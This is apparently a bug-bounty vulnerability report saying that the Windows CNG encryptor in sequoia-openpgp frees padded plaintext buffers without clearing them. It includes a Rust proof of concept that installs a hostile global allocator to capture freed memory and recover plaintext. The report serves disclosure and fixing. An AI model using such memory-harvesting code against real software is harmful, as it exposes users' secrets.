Sign in or sign up before continuing. Don't have an account yet? Register now to get started.
Register now
[#YWH-PGM8724-146] Windows CNG encryptor leaves padded plaintext copies on the heap
Severity Medium The Windows-only CNG backend allocates a temporary buffer `_src` whenever the caller encrypts a chunk whose length is not a multiple of the block size. The padding helper copies the caller’s plaintext into `_src`, passes the padded slice to `SymmetricAlgorithmKey::encrypt`, and then simply drops the vector without overwriting its contents.【F:openpgp/src/crypto/backend/cng/symmetric.rs†L108-L132】 Because `_src` is a heap allocation, dropping it hands the allocator an entire copy of the plaintext. Attackers with the ability to dump or reuse freed memory (e.g. through crash dumps, heap spraying, or a hostile global allocator in a plug-in) can recover the sensitive data that should have remained secret. **Proof of concept (Windows-only):** ```rust #![cfg(windows)] use sequoia_openpgp::crypto::symmetric::{BlockCipherMode, Encryptor, PaddingMode}; use sequoia_openpgp::crypto::{SessionKey, SymmetricAlgorithm}; use std::alloc::{GlobalAlloc, Layout, System}; use std::io::Write; use std::sync::Mutex; struct LoggingAlloc(Mutex<Vec<Vec<u8>>>); unsafe impl GlobalAlloc for LoggingAlloc { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { System.alloc(layout) } unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { let leak = std::slice::from_raw_parts(ptr, layout.size()).to_vec(); self.0.lock().unwrap().push(leak); System.dealloc(ptr, layout); } } #[global_allocator] static LEAKS: LoggingAlloc = LoggingAlloc(Mutex::new(Vec::new())); fn drain_leaks() -> Vec<Vec<u8>> { std::mem::take(&mut *LEAKS.0.lock().unwrap()) } fn main() -> sequoia_openpgp::Result<()> { let key = SessionKey::from(vec![0x41; 32]); let sink = Vec::new(); let mut enc = Encryptor::new( SymmetricAlgorithm::AES256, BlockCipherMode::CFB, PaddingMode::None, &key, None, sink, )?; enc.write_all(b"TOP SECRET")?; // 10 bytes ⇒ triggers the padding buffer enc.finalize()?; // drops `_src` without clearing it for blob in drain_leaks() { if blob.windows(10).any(|w| w == b"TOP SECRET") { println!("Recovered plaintext from freed heap: {:?}", blob); } } Ok(()) } ``` Running the sample on Windows produces a log line showing the freed allocation that still contains `"TOP SECRET"`, proving that the encryptor drops plaintext buffers intact. Last commint hash \`05e6707ad2c68fa52a30c3c9a21d54dc00089919\`
issue